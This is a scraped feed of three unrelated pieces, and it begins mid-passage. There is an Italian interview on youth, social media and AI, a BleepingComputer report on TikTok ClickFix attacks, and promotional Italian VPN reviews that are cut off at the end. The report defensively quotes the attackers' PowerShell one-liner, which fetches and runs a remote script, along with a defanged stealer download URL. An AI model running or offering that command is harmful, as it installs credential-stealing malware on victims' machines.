ai videogiochi e ai fumetti. Eppure, dai videogiochi è nata la mia passione per l’informatica applicata alla creatività, e dai fumetti la curiosità per culture lontane dalla mia. In sostanza, da ciò che preoccupava i miei genitori è germogliato il mestiere che oggi svolgo e l’azienda che ho costruito. Il tema della percezione di sé, durante l’adolescenza, è sempre stato cruciale. Ogni generazione si è confrontata con il bisogno di autodeterminarsi. Quello che oggi trovo particolarmente duro è il peso dei numeri dei social: like, visualizzazioni, follower. Ai miei tempi sapevo di non essere un adone, ma non avevo un contatore quotidiano che me lo ricordasse. Oggi i numeri possono diventare gabbie: offrono false conferme e spingono gli adolescenti — naturalmente in cerca di riconoscimento e appartenenza — a comportamenti di cui rischiano di pentirsi, pur di ottenere qualche like in più e sentirsi visti. Vorrei che gli incontri di “Tu, Vali” fossero una leva di empowerment, una pacca sulla spalla. NICOLA: È una domanda davvero complessa. Quando nasce un figlio, nessuno ti consegna un manuale di istruzioni. Cerchi di ispirarti alla tua esperienza di figlio, ti imponi di migliorare ciò che può essere migliorato, ti prepari con mille buone intenzioni e schemi mentali… e poi scopri che ogni figlio è diverso da come l’avevi immaginato. L’adolescenza arriva come un treno in corsa, e tu puoi solo cercare di fare del tuo meglio per restare in piedi. Parlando ogni giorno con tante persone, mi accorgo che quasi nessuno ha davvero chiara la complessità dei social e delle piattaforme digitali che oggi fanno parte della vita quotidiana dei nostri figli. Esercitare un controllo, senza conoscenza, è difficilissimo: si sbaglia quando si esagera con le restrizioni, ma si sbaglia anche quando si concede troppa libertà. Di fronte a fenomeni come cyberbullismo, hate speech, predatori digitali e criminalità online, serve innanzitutto più cultura. Bisogna conoscere, comprendere, approfondire. È l’unica vera arma che un genitore ha per accorgersi dei segnali che qualcosa non va, e intervenire prima che sia troppo tardi. NICOLA: Partiamo da un dato fondamentale: oggi il controllo della maggior parte delle piattaforme in cui si svolge la comunicazione di massa è concentrato nelle mani di pochissime aziende, quasi tutte americane o cinesi. È estremamente difficile che altri soggetti possano, nel breve periodo, imporsi come alternative reali. All’interno di queste piattaforme (penso a Facebook, Instagram, TikTok, YouTube, LinkedIn) la disponibilità di enormi quantità di dati ha permesso di costruire profili estremamente precisi su ciascuno di noi: abitudini, interessi, paure, inclinazioni. E noi, comodamente, ci siamo lasciati profilare. Così, progressivamente, abbiamo delegato agli algoritmi un numero crescente di decisioni: dal suggerimento del prossimo film su Netflix, fino alla visione passiva di reel che scorrono per ore, sostituendo libri, giornali, perfino le chiacchiere al bar. Il problema è che questi algoritmi non solo semplificano le nostre scelte, ma rischiano di irrigidire i nostri pregiudizi. Ci mostrano sempre più spesso contenuti che confermano ciò che già pensiamo, dandoci l’illusione che il mondo la pensi come noi. Questo uccide il dialogo, la capacità di sintesi, il confronto politico autentico. I giovani, diversamente da noi, non hanno conosciuto un mondo “prima dei social”. Non sanno cosa significasse informarsi leggendo un giornale o ascoltando opinioni diverse. Oggi, praticamente nessuno sotto i 65 anni legge regolarmente un quotidiano. È un cambiamento epocale. Se i “boomer” spesso non distinguono una notizia vera da una falsa e la Generazione X si è polarizzata, la maggior parte dei giovani ha perso interesse per le idee. Non solo partecipano meno al dibattito pubblico, ma spesso non votano nemmeno più. Gli attivisti stessi, pur animati da passione, restano intrappolati nella stessa logica algoritmica: vedono solo ciò che conferma le loro convinzioni. Sono prigionieri di una bolla. Anche qui l’unica arma che hanno le persone contro le manipolazioni digitali è la conoscenza, la curiosità, l’approfondimento. Sono convinto che ogni adolescente, indipendentemente dal suo orientamento politico, debba per sua natura voler cambiare il mondo, mettere in discussione ciò che trova, desiderare il cambiamento con forza. Oggi, invece, vedo una generazione spesso remissiva, ipnotizzata, sfiduciata. Ma, nonostante tutto, continuo ad avere in loro molta più fiducia di quanta ne abbiano loro stessi. NICOLA: La comunicazione ha avuto un ruolo decisivo nell’evoluzione dell’umanità rispetto a tutte le altre specie animali. Come ricordava Stephen Hawking, i più grandi traguardi della nostra civiltà sono stati raggiunti parlando. La tecnologia può amplificare questa capacità: può aiutarci a comunicare di più, a comprenderci meglio, a costruire ponti tra persone e culture diverse. Diventa però pericolosa quando si sostituisce al dialogo autentico tra esseri umani. Studiare i meccanismi della comunicazione (pubblicitaria, politica, sociale o istituzionale) significa imparare a decifrare il mondo in cui viviamo. La comunicazione strategica ti abitua a pensare due o tre mosse avanti, come in una partita di scacchi. Ti allena a leggere una notizia e a ricostruire, a ritroso, le possibili mosse che hanno portato a quel risultato, entro uno scenario preciso e circoscritto. In questo senso, la comunicazione è una chiave di lettura straordinaria: ti insegna a interpretare la realtà, a comprendere la geopolitica… che, in ultima analisi, è la trama di fondo su cui si muove tutto ciò che accade. NICOLA: Non vorrei essere frainteso, quindi premetto due cose. La prima: sono un convinto europeista. Credo che l’amicizia costruita tra i popoli europei ci abbia garantito decenni di pace, prosperità e una cultura comune fondata su valori irrinunciabili. La seconda: sono altrettanto convinto che i cambiamenti introdotti dall’Intelligenza Artificiale saranno più profondi e dirompenti di quelli generati dalla rivoluzione industriale tra il Settecento e l’Ottocento. Ci troviamo di fronte a una trasformazione epocale, e l’Europa, purtroppo, non è pronta ad affrontarla. Nel campo del digitale, i decisori europei si sono dimostrati spesso impreparati, goffi, incapaci di prevedere le conseguenze pratiche delle proprie scelte. Le regole introdotte dall’Unione Europea finiscono troppo spesso per penalizzare chi agisce in modo trasparente (persone, aziende e professionisti) minandone la sostenibilità economica, mentre non riescono minimamente a contrastare chi opera nell’ombra, spesso dall’estero, in modo scorretto o manipolatorio. Ci sono almeno quattro esempi lampanti: Mentre Stati Uniti, Cina e India corrono, sperimentano e investono nel futuro, noi europei continuiamo a vietare, bloccare, normare, regolamentare… sacrificando sull’altare delle ideologie – e degli interessi elettorali – il futuro dei nostri giovani. Ed è proprio per questo che dovrebbero essere loro, i giovani, a salire sulle barricate. NICOLA: Come dicevo prima, i decisori di Bruxelles hanno spesso dimostrato di non saper prevedere l’ovvio. Da anni, chiunque lavori nel nostro settore mette in guardia le persone dal condividere con leggerezza i propri dati o documenti online. Eppure, oggi, ci si propone di introdurre sistemi che obbligherebbero gli utenti, anche solo per accedere a un sito per adulti, a fornire il proprio documento d’identità o a sottoporsi a una scansione del volto e della voce per verificare l’età. Tutto questo accade in un’epoca in cui, con strumenti come HeyGen, anche un ragazzino può creare in pochi minuti un avatar digitale capace di imitare perfettamente voce e sembianze di chiunque. I cosiddetti “deepfake” stanno diventando indistinguibili dal reale, e lo saranno completamente tra pochi mesi. È paradossale: mentre la tecnologia ci mette di fronte a un rischio sempre maggiore di manipolazione e furto d’identità, l’Europa propone soluzioni che aumentano la quantità di dati sensibili in circolazione, anziché proteggerli. NICOLA: Non sono un esperto di formazione e non pretendo di avere una soluzione. Mi limito a constatare che, purtroppo, la scuola italiana è un sistema obsoleto, autoreferenziale e profondamente infelice. Solo il 26% delle ragazze e il 17% dei ragazzi dichiara di essere contento di andare a scuola, contro una media europea del 56%. È un dato drammatico. Secondo le ricerche di OMS e OCSE, al 90% delle ragazze e al 92% dei ragazzi di 15 anni la scuola non piace. Può sembrare un fatto scontato — “ai ragazzi non piace studiare” — ma in realtà questo è un problema tipicamente italiano. Gli studenti italiani soffrono di ansia più dei loro coetanei in altri Paesi con stili di vita simili. Il nostro sistema scolastico sembra progettato per i professori e per il personale amministrativo, non per chi dovrebbe esserne il vero protagonista: gli studenti. In altri contesti, di fronte a una crisi di tali proporzioni, si interverrebbe con urgenza. Io partirei da qui: da una riforma seria e profonda della scuola, che metta davvero il futuro dei nostri figli davanti a qualsiasi altra logica. Se riusciamo a trovare fondi per il riarmo, forse potremmo destinarne almeno una parte a un investimento più strategico e civile: quello sull’educazione. NICOLA: La chiave di tutto è la curiosità. Stiamo vivendo un cambiamento radicale nel modo di lavorare: intelligenza artificiale, connettività globale, macchine pensanti e nuovi media sono i motori di una trasformazione che ridisegnerà intere professioni e ne creerà di nuove, oggi ancora impensabili. In questo scenario, chi saprà restare più curioso della media sarà in grado di “surfare” sulla cresta dell’onda. La curiosità è ciò che spinge a informarsi, conoscere, approfondire, sperimentare e, alla fine, riuscire. Il futuro richiederà la capacità di affrontare problemi complessi, che attraversano discipline diverse, e di coltivare competenze che nessuna macchina potrà facilmente replicare: comprendere il significato profondo di ciò che viene comunicato, cogliere le sfumature emotive, creare connessioni autentiche con gli altri. Più crescerà l’importanza delle macchine, più acquisterà valore il lato umano delle cose: l’empatia, la spiritualità, la capacità di ispirare e interagire in modo autentico. Ma la curiosità da sola non basta. Va accompagnata da apertura mentale, spirito critico, capacità relazionale e, soprattutto, tenacia. Perché alla fine – sempre – la tenacia vince sul talento. NICOLA: Non riesco a definirmi uno scrittore. Amo leggere, e credo che i veri scrittori siano altri. L’unica cosa che ho scritto di cui vado davvero fiero è Mocambo, perché tra le righe di quei tredici racconti ci sono io, completamente: le esperienze che mi hanno formato, le emozioni che continuo a provare, ma anche le mie fragilità, le mie contraddizioni, le lotte interiori che mi accompagnano da sempre. Nel mio lavoro, la parte che più mi appassiona è quella legata al branding, all’identità e al posizionamento dei marchi, all’elaborazione di strategie che permettano a persone e aziende di governare la propria reputazione. Sono le sfide più complesse e, al tempo stesso, le più stimolanti. Ogni progetto è un universo a sé, e per questo è difficile generalizzare o dare consigli validi per tutti i giovani che si affacciano a questo mondo. Quando però i ragazzi mi chiedono un consiglio – capita ogni tanto, alla fine di incontri di formazione – preferisco rispondere facendo ascoltare le parole del monologo finale del film “The Big Kahuna” Il monologo si chiude dicendo: “Sii cauto nell’accettare consigli, ma sii paziente con chi li dispensa. I consigli sono una forma di nostalgia. Dispensarli è un modo di ripescare il passato dal dimenticatoio, ripulirlo, passare la vernice sulle parti più brutte e riciclarlo per più di quel che valga”. Credo che in questa frase ci sia tutta la saggezza e l’umiltà con cui dovremmo guardare all’esperienza, nostra e altrui. NICOLA: Questa è davvero una domanda difficile, Olivia. Sono un divoratore di libri e film di fantascienza, e credo che in quel genere siano già stati immaginati quasi tutti gli scenari possibili. Quello che ho imparato dai fumetti – e che trovo profondamente vero – è che da grandi poteri derivano grandi responsabilità. Oggi ci troviamo proprio sull’orlo di questo passaggio: stiamo per liberare un potere immenso, capace di cambiare in modo radicale le regole del gioco. Per questo credo che serva una responsabilità nuova, collettiva, che ci porti a rivedere i nostri paradigmi. Dovremmo avere il coraggio di archiviare concetti ormai superati – come le divisioni tra destra e sinistra in politica, per citare un esempio volutamente provocatorio – e imparare a riconoscerci, finalmente, come un unico popolo: quello degli umani, o dei terresti se preferisci tornare alla fantascienza. Un popolo che, molto presto, dovrà imparare a convivere con un’altra forma di intelligenza, diversa dalla nostra ma capace di esistere in modo altrettanto reale e tangibile. Betti RHC, la prima graphic novel al mondo dedicata alla cybersecurity awareness, ha finalmente il suo sito ufficiale. Uno spazio tutto suo dove scoprire il progetto, sfogliare le copertine degli episodi e immergersi nel mondo di Betti: la giovane laureanda in informatica che, dopo la morte misteriosa del padre, si trasforma nell'hacker più potente del mondo. Una storia avvincente che, episodio dopo episodio, affronta una minaccia digitale diversa — dal phishing al ransomware, fino al cyberbullismo — e insegna a riconoscerla e a difendersi, senza che sembri mai una lezione. Sul sito trovate tutto ciò che rende Betti un progetto diverso dal solito: la sua filosofia, le anteprime delle tavole e il racconto di come nasce ogni volume. Perché dietro Betti RHC c'è solo lavoro umano: ogni tavola è disegnata interamente a mano dagli artisti del Gruppo Arte di Red Hot Cyber, senza alcun uso di intelligenza artificiale. E a garantire che ogni storia sia realistica e tecnicamente corretta c'è la supervisione degli hacker etici del gruppo HackerHood, che mantengono il racconto fedele al mondo reale della sicurezza informatica. C'è spazio anche per le aziende, che possono usare Betti come strumento di awareness diverso dai soliti corsi: acquistare i volumi, personalizzarli con il proprio brand o sponsorizzare nuovi episodi. E come primo regalo, l'episodio "Byte the Silence", dedicato al cyberbullismo, è scaricabile gratuitamente per uso personale. Perché la miglior difesa, in fondo, è una bella storia. 👉 Scopri tutto su https://betti.redhotcyber.com/

redhotcyber.comOct 28, 2025extracted

TikTok videos continue to push infostealers in ClickFix attacks

Cybercriminals are using TikTok videos disguised as free activation guides for popular software like Windows, Spotify, and Netflix to spread information-stealing malware. ISC Handler Xavier Mertens spotted the ongoing campaign, which is largely the same as the one observed by Trend Micro in May The TikTok videos seen by BleepingComputer pretend to offer instructions on how to activate legitimate products like Windows, Microsoft 365, Adobe Premiere, Photoshop, CapCut Pro, and Discord Nitro, as well as made-up services such as Netflix and Spotify Premium. The videos are performing a ClickFix attack, which is a social engineering technique that provides what appears to be legitimate "fixes" or instructions that trick users into executing malicious PowerShell commands or other scripts that infect their computers with malware. Each video displays a short one-line command and tells viewers to run it as an administrator in PowerShell: iex (irm slmgr[.]win/photoshop) It should be noted that the program name in the URL is different depending on the program that is being impersonated. For example, in the fake Windows activation videos, instead of the URL containing photoshop, it would include windows. In this campaign, when the command is executed, PowerShell connects to the remote site slmgr[.]win to retrieve and execute another PowerShell script. This script downloads two executables from Cloudflare pages, with the first executable downloaded from https://file-epq[.]pages[.]dev/updater.exe [VirusTotal]. This executable is a variant of the Aura Stealer info-stealing malware. Aura Stealer collects saved credentials from browsers, authentication cookies, cryptocurrency wallets, and credentials from other applications and uploads them to the attackers, giving them access to your accounts. Mertens says that an additional payload will be downloaded, named source.exe [VirusTotal], which is used to self-compile code using .NET's built-in Visual C# Compiler (csc.exe). This code is then injected and launched in memory. The purpose of the additional payload remains unclear. Users who perform these steps should consider all of their credentials compromised and immediately reset their passwords on all sites they visit. ClickFix attacks have become very popular over the past year, used to distribute various malware strains in ransomware and cryptocurrency theft campaigns. As a general rule, users should never copy text from a website and run it in an operating system dialog box, including within the File Explorer address bar, command prompt, PowerShell prompts, macOS terminal, and Linux shells. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

bleepingcomputer.comOct 19, 2025extracted

Le 3 VPN più veloci ma anche affidabili e sicure

Una VPN più veloce non serve soltanto a proteggere la privacy online: è uno strumento indispensabile per chi guarda contenuti in streaming, gioca online o scarica file di grandi dimensioni. La velocità, in questo contesto, non è un dettaglio tecnico ma il fattore che determina se l’esperienza sarà soddisfacente oppure frustrante. Indice degli argomenti Nel caso dello streaming la differenza con una VPN più veloce si nota subito. Le piattaforme più diffuse, come Netflix, Disney+, Prime Video o RaiPlay, gestiscono enormi flussi di dati e spesso applicano restrizioni geografiche o limitazioni di banda. Una VPN lenta può introdurre buffering, abbassare la qualità video o addirittura impedire l’accesso a certi contenuti. Al contrario, una VPN ad alta velocità permette di mantenere una connessione stabile, sfruttare appieno la larghezza di banda e accedere ai cataloghi internazionali come se ci si trovasse fisicamente in un altro Paese. I protocolli di nuova generazione, come WireGuard o Lightway, riducono la latenza e garantiscono tempi di risposta immediati, rendendo possibile lo streaming in 4K o HDR senza interruzioni, anche su smart TV o console. Quando si parla di gaming la velocità di connessione è ancora più cruciale. Ogni millisecondo di ritardo può compromettere una partita o influire sull’esito di un match competitivo. Una VPN ad alte prestazioni consente di mantenere un ping basso e costante, migliorando la reattività dei comandi e riducendo i micro ritardi che possono verificarsi durante le sessioni online. Inoltre, offre un livello di sicurezza aggiuntivo, proteggendo il giocatore da attacchi DDoS e da tentativi di tracciamento dell’indirizzo IP. Questo è particolarmente importante per gli eSport e per chi partecipa a tornei internazionali. In molti casi, una VPN veloce può anche consentire di collegarsi a server di gioco in altre aree del mondo, dove i tempi di accesso sono migliori o dove i contenuti vengono rilasciati in anticipo. Nel campo del download e del file sharing una VPN ad alta velocità rappresenta un equilibrio perfetto tra performance e privacy. Quando si scaricano file di grandi dimensioni, una connessione criptata può rallentare il flusso dei dati se non è ottimizzata. Le VPN moderne, invece, sono progettate per sfruttare tutta la capacità della rete, senza limitazioni artificiali di banda. Questo significa poter scaricare file in sicurezza, senza rinunciare alla velocità della propria connessione. Allo stesso tempo la VPN garantisce anonimato e tutela dei dati personali, impedendo a provider o terze parti di monitorare le attività online. Alcuni servizi, inoltre, offrono server specifici per il traffico P2P, in grado di mantenere una connessione stabile anche con molti peer attivi. Il throttling dell’ISP, cioè la limitazione intenzionale della velocità di connessione da parte del proprio provider Internet, è una pratica tanto diffusa quanto invisibile per molti utenti. Le compagnie, per evitare congestioni o per indirizzare gli utenti verso determinati piani tariffari, riducono deliberatamente la banda disponibile su alcuni servizi o protocolli. È in questo scenario che la VPN diventa uno strumento concreto per aggirare tali restrizioni e recuperare la piena libertà di navigazione. Quando un ISP applica il throttling lo fa riconoscendo il tipo di traffico che transita sulla rete: ad esempio, può rallentare la connessione verso piattaforme come Netflix, YouTube o Twitch, oppure penalizzare i download P2P. Questo avviene attraverso la cosiddetta “ispezione profonda dei pacchetti” (Deep Packet Inspection), una tecnologia che consente di analizzare i dati trasmessi e capire a quale servizio appartengano. In pratica, anche se l’utente paga per una connessione da 1 Gbps può ritrovarsi a navigare a una frazione di quella velocità semplicemente perché sta guardando un video o giocando online in un momento di alto traffico. Una VPN ad alte prestazioni interrompe questo meccanismo alla radice. Cifrando completamente i dati e incanalando tutto il traffico attraverso un tunnel sicuro, impedisce all’ISP di capire quale tipo di contenuto si stia utilizzando. Per il provider, il flusso di dati appare come un’unica connessione crittografata indistinguibile da qualunque altra. Di conseguenza, non può applicare limiti mirati su specifiche applicazioni, servizi o protocolli. Il risultato è una connessione più fluida e coerente con la velocità effettivamente acquistata. Per aggirare il throttling senza introdurre nuovi rallentamenti è necessario affidarsi a servizi dotati di infrastrutture moderne, server ad alta capacità e protocolli leggeri come WireGuard o Lightway, che riducono la latenza e massimizzano la banda disponibile. Una VPN lenta o congestionata, infatti, può annullare i benefici di questa soluzione, trasformando un problema di limitazione in uno di lentezza costante. Un altro vantaggio significativo riguarda la neutralità del traffico. Utilizzando una VPN tutti i dati vengono trattati allo stesso modo: il provider non può più decidere se dare priorità alla navigazione web rispetto allo streaming o al download. Questo riequilibra il rapporto tra utente e operatore, restituendo al primo il pieno controllo della propria connessione. Per chi lavora da remoto, gioca online o utilizza servizi cloud professionali, questa stabilità si traduce in produttività e continuità operativa. Trovare la VPN più veloce non significa soltanto scegliere quella con il nome più noto o con il maggior numero di server ma valutare una serie di elementi tecnici che incidono direttamente sulle prestazioni. Una VPN veloce deve essere in grado di offrire una connessione stabile, tempi di risposta ridotti e una gestione intelligente del traffico dati, indipendentemente dal dispositivo o dal tipo di utilizzo che si tratti di streaming, gaming o download. La differenza tra un servizio di qualità e uno mediocre è data dalla tecnologia di base che utilizza, dall’infrastruttura dei server e dal modo in cui gestisce la crittografia senza sacrificare la velocità. È importante non fermarsi al dato di marketing sulla velocità teorica ma analizzare come la VPN si comporta nella pratica, verificando ping, perdita di pacchetti e stabilità durante sessioni prolungate di utilizzo. Il protocollo è il cuore di una VPN: determina quanto velocemente e in che modo i dati vengono criptati e trasmessi. I protocolli più moderni, come WireGuard, Lightway e NordLynx, hanno rivoluzionato il settore perché combinano sicurezza e rapidità in modo molto più efficiente rispetto ai vecchi standard come OpenVPN o IPSec. WireGuard, open source e leggero, è la base su cui molte VPN costruiscono le proprie architetture di connessione: utilizza meno righe di codice, riduce il consumo di risorse e mantiene latenze bassissime anche in caso di server lontani. NordLynx, sviluppato da NordVPN, è una versione ottimizzata di WireGuard che aggiunge un sistema di gestione della privacy basato su doppio NAT, eliminando la necessità di memorizzare dati degli utenti. Lightway, creato da ExpressVPN, segue la stessa filosofia di efficienza: si connette più rapidamente ai server e mantiene stabile la connessione anche quando si cambia rete, ad esempio passando dal Wi-Fi al 5G. La scelta di un protocollo moderno incide in modo diretto sulla velocità percepita: ogni millisecondo risparmiato nella crittografia si traduce in una navigazione più fluida e reattiva. Uno dei motivi principali per cui una VPN può sembrare lenta è la distanza fisica tra l’utente e il server a cui si collega. Maggiore è la distanza più lungo sarà il percorso che i dati devono compiere e maggiore sarà la latenza. Tuttavia, le VPN più performanti compensano questo limite grazie a reti distribuite globalmente, con server ottimizzati per aree geografiche specifiche. Un altro fattore determinante è il carico del server, cioè il numero di utenti che lo utilizzano contemporaneamente. Quando un server è sovraccarico la banda disponibile per ciascun utente diminuisce, generando rallentamenti e buffering. Le VPN di fascia alta gestiscono dinamicamente il traffico, spostando gli utenti sui nodi meno affollati e monitorando costantemente le performance in tempo reale. In questo modo garantiscono una velocità uniforme, indipendentemente dall’orario o dal tipo di utilizzo. Nel valutare una VPN veloce è utile considerare anche la tipologia dei server e la gestione della banda. I server basati esclusivamente su RAM rappresentano uno standard di sicurezza e performance. A differenza dei server tradizionali su disco, quelli “RAM-only” non archiviano alcun dato in modo permanente: tutte le informazioni vengono eliminate automaticamente a ogni riavvio. Questo non solo aumenta la privacy, ma migliora anche la velocità, poiché la lettura e scrittura su memoria volatile è molto più rapida. A questo si aggiunge la necessità di una larghezza di banda illimitata, che consente di sfruttare appieno la propria connessione Internet senza restrizioni artificiali imposte dal provider VPN. Le migliori soluzioni offrono inoltre sistemi di ottimizzazione automatica, capaci di instradare il traffico verso il percorso più veloce disponibile. 🌍 Server: 7.000+ server in 118 paesi 📱 Massimo dispositivi: 10 📍 IP dedicato: ✔ 🆓 Versione Free: Garanzia rimborso di 30 giorni 💻 Compatibilità: Windows, macOS, Android, iOS 🔐 Sicurezza: IKEv2/IPsec, OpenVPN, NordLynx 👨💻 Assistenza 24/7: ✔ 🏢 Sede legale: Panama 🔥 Offerte attive: SCONTO fino al 63% Il servizio NordVPN si posiziona come una soluzione di cybersecurity completa, focalizzata sulla protezione della privacy, sull’integrità dei dati e sulle prestazioni di rete. L’attuale promozione Black Friday potenzia l’accessibilità a questa suite di funzionalità. Il cuore di NordVPN risiede nella sua architettura di rete e nei protocolli di crittografia applicati: NordVPN estende la sua protezione oltre la tradizionale funzionalità VPN attraverso strumenti integrati: Threat Protection Pro™: Un modulo di sicurezza proattivo che opera come strumento anti-malware, anti-phishing, e blocco di tracker e pubblicità intrusive. Caratteristica distintiva: funziona anche con la connessione VPN disattivata, garantendo una protezione continua sul dispositivo. Dark Web Monitor: Sistema di notifica automatica che scansiona il dark web per identificare eventuali violazioni delle credenziali dell’utente, permettendo un’azione tempestiva per la messa in sicurezza degli account compromessi. Funzionalità Kill Switch: Un meccanismo di sicurezza critico che disabilita automaticamente l’accesso a Internet qualora la connessione VPN subisca un’interruzione imprevista. Questo previene la fuoriuscita accidentale di dati non crittografati o dell’indirizzo IP reale. Nel mercato dei servizi di crittografia dei dati, NordVPN occupa stabilmente la vetta degli indici prestazionali globali. Nei test indipendenti condotti dai laboratori di West Coast labs, PCMag e TechRadar, il provider si è aggiudicato i massimi riconoscimenti per la velocità di trasmissione, registrando throughput costanti compresi tra 950 e 1.200 Mbps su linee gigabit e una perdita di banda residua inferiore al 2% sui nodi locali. Questo primato tecnologico ed economico non è casuale, ma deriva da una specifica ingegnerizzazione dei processi di rete: Il protocollo NordLynx: il fattore principale delle prestazioni di NordVPN è NordLynx, un protocollo proprietario basato sull’architettura open-source WireGuard. I tecnici del provider hanno preso la struttura ultra-leggera di WireGuard (focalizzata sulla massima velocità di calcolo della CPU) e l’hanno integrata con un sistema proprietario di doppio NAT (Network Address Translation). Questo approccio consente di beneficiare della massima velocità teorica del protocollo senza memorizzare alcun dato identificativo dell’utente sul server, superando i limiti di privacy nativi di WireGuard. Capillarità e dimensionamento della rete: l’infrastruttura di NordVPN ha superato i 9.500 server attivi. Una densità di nodi così elevata riduce drasticamente il server crowding (il sovraffollamento degli utenti su un singolo IP). Inoltre, la società gestisce server in co-locazione (hardware di proprietà esclusiva posizionato in data center strategici) dotati di schede di rete da 10 Gbps, che eliminano i colli di bottiglia infrastrutturali a livello di data carrier. Algoritmi di Load Balancing basati su IA: il software di NordVPN non si limita a connettere l’utente al server geograficamente più vicino. Un algoritmo proprietario monitora costantemente e in tempo reale la latenza, il carico computazionale e il traffico di instradamento di ciascun nodo. Quando l’utente attiva la funzione “Connessione Rapida”, il sistema seleziona istantaneamente la dorsale di rete più efficiente in quel millisecondo, ottimizzando le prestazioni per attività ad alto consumo di banda come lo streaming 4K o il gaming a bassa latenza (sub-20 ms). La tabella unifica tutte le configurazioni commerciali disponibili, piani da 2 anni, 1 anno e 1 mese/Mensile, incrociate con i tre livelli di servizio NordVPN Base, NordVPN Plus e NordVPN Ultimate. Garanzia di rimborso: presente su tutti i piani (2 anni, 1 anno, 1 mese). Consente di richiedere il recesso completo entro 30 giorni dall’acquisto iniziale tramite l’assistenza clienti attiva 24/7. Rinnovo automatico: tutti i piani si rinnovano automaticamente alla scadenza del periodo iniziale alle tariffe standard di listino in vigore al momento del rinnovo, a meno che l’utente non disattivi la ricorrenza dal proprio pannello Nord-Account. Opzioni aggiuntive (opzionali): funzionalità verticali come l’IP Dedicato o il servizio di rimozione dati personali Incogni non sono incluse di serie in nessun pacchetto, ma possono essere aggiunte come add-on a pagamento durante la fase di checkout. 🌍 Server: 3200+ in 100 paesi 📱 Massimo dispositivi: illimitati 🆓 Versione Free: Garanzia rimborso di 30 giorni 💻 Compatibilità: Windows, macOS, Android, iOS 🔐 Sicurezza: OpenVPN, IKEv2, Shadowsocks, Wireguard e L2TP 👨💻 Assistenza 24/7: ✔ 🏢 Sede legale: Paesi Bassi 🔥 Offerte attive: SCONTO fino all’83% + 3 mesi gratis 🔥 Surfshark VPN (brand controllato dalla medesima holding di NordSecurity) si posiziona storicamente come il principale competitor “value-for-money” nel segmento premium. Surfshark ha registrato una progressione competitiva che l’ha portata a vertici prestazionali assoluti nei test di settore indipendenti (come i benchmark condotti da TechRadar nel 2026, dove ha raggiunto velocità di picco pari a 1615 Mbps). Tale efficienza di trasmissione è determinata da una precisa strategia di aggiornamento hardware e ottimizzazione dei protocolli: Integrazione Nativa di WireGuard: Surfshark ha adottato come standard primario WireGuard, un protocollo open-source di ultima generazione composto da sole 4.000 righe di codice (a differenza delle oltre 70.000 di OpenVPN). La snellezza del codice riduce l’overhead del pacchetto dati e minimizza il consumo della CPU dell’utente, traducendosi in una latenza ridotta (con un jitter medio di appena 2,3 ms) e in handshakes di connessione quasi istantanei. Upgrade Globale a 10 Gbps: il provider ha completato la transizione strutturale della propria rete, elevando la larghezza di banda di tutti i suoi oltre 4.500 server da 1 Gbps a 10 Gbps (Gigabit al secondo). Questo incremento di capacità consente ai nodi di accogliere un volume massivo di traffico parallelo, azzerando i fenomeni di saturazione (server crowding) e garantendo throughput stabili anche durante sessioni ad alta intensità di dati (come lo streaming in 4K o il gaming online). Tecnologia SDN e algoritmo FastTrack: l’infrastruttura di routing utilizza sistemi Software-Defined Networking (SDN) potenziati da moduli proprietari per l’instradamento intelligente dei dati. Il sistema analizza in tempo reale il carico dei nodi e la vicinanza geografica, connettendo l’utente alla dorsale di rete più efficiente e azzerando i colli di bottiglia artificiali. La strategia commerciale del provider si focalizza su due leve competitive principali: la rimozione del vincolo sul numero di dispositivi associabili a un singolo account e una politica di prezzo aggressiva sul lungo termine. Di seguito si propone l’analisi analitica della struttura commerciale e dei piani tariffari Surfshark, cioè Starter, One, One+. L’architettura hardware di Surfshark è progettata per sostenere elevati volumi di traffico e mitigare il degrado prestazionale causato dalla crittografia: Architettura dei server: rete composta da oltre 4.500 server distribuiti in 100 Paesi. Tutti i nodi operano esclusivamente su memoria volatile (sola RAM), garantendo la conformità alla politica di no-log (i dati di sessione si cancellano a ogni ciclo di riavvio). Capacità di banda: aggiornamento globale dei nodi a schede di rete da 10 Gbps, fattore che permette di registrare velocità di picco nei test indipendenti (fino a 1615 Mbps sotto protocollo WireGuard). Vincolo dispositivi: illimitato a differenza della concorrenza (che impone limiti tra i 6 e i 14 dispositivi), Surfshark consente la protezione simultanea di tutti i terminali domestici o aziendali con un’unica licenza. Garanzia Commerciale: Formula soddisfatti o rimborsati entro 30 giorni dall’attivazione. È la configurazione entry-level pensata per l’ottimizzazione della privacy e l’anonimato di base. Core VPN: accesso completo alla rete globale, offuscamento del traffico e funzionalità Bypasser (split-tunneling per escludere specifiche app o siti web dalla crittografia). CleanWeb: modulo integrato per il blocco di annunci pubblicitari, malware, tracker e popup per il consenso dei cookie. Alternative ID: generatore di identità sintetiche e proxy email per la prevenzione dello spam e la protezione dei dati anagrafici sui portali terzi. Strumenti Avanzati di Rete: Funzione di rotazione automatica dell’indirizzo IP (IP Rotator) e Dynamic MultiHop (instradamento del traffico attraverso due server VPN differenti personalizzabili dall’utente). Rappresenta il pacchetto di cybersecurity integrato, che estende la protezione a livello locale e sul dark web. Surfshark Antivirus: protezione in tempo reale contro virus, ransomware e spyware, inclusi sistemi di scansione pianificata e un modulo per la tutela della webcam da accessi non autorizzati. Surfshark Alert: monitoraggio continuo del dark web e dei database pubblici con invio di notifiche immediate in caso di compromissione di indirizzi email, documenti di identità o carte di credito. Surfshark Search: motore di ricerca privato nativo, privo di inserzioni pubblicitarie e configurato per non tracciare o archiviare la cronologia delle interrogazioni. Il profilo top di gamma concepito per la bonifica e la tutela dell’identità digitale a 360 gradi. Integrazione Incogni: Include il servizio automatizzato di rimozione dei dati personali. Il sistema invia richieste legali ricorrenti a data broker e database aziendali di profilazione per cancellare le informazioni dell’utente dal mercato pubblicitario. (Servizio disponibile in UE, USA, UK, Svizzera e Canada). Identity Theft Coverage: Polizza di protezione e assistenza legale contro il furto di identità fino a 1 milione di dollari (Funzionalità limitata esclusivamente ai residenti negli Stati Uniti). Componenti Aggiuntivi (Add-on): post-acquisto, l’utente può integrare nel pannello di gestione un IP dedicato (disponibile in 20 località per evitare blocchi IP e verifiche captcha ricorrenti) o un numero di telefono alternativo virtuale per la ricezione di chiamate e messaggi senza esporre la SIM reale. 🇮🇹 Posizioni server in Italia: Milano e Palermo 🌍 Server: 20.017 in 145 Paesi 📱 Massimo dispositivi: 10 🆓 Versione Free: ✔ 💻 Compatibilità: Phone, Android, Mac, Windows, Linux, 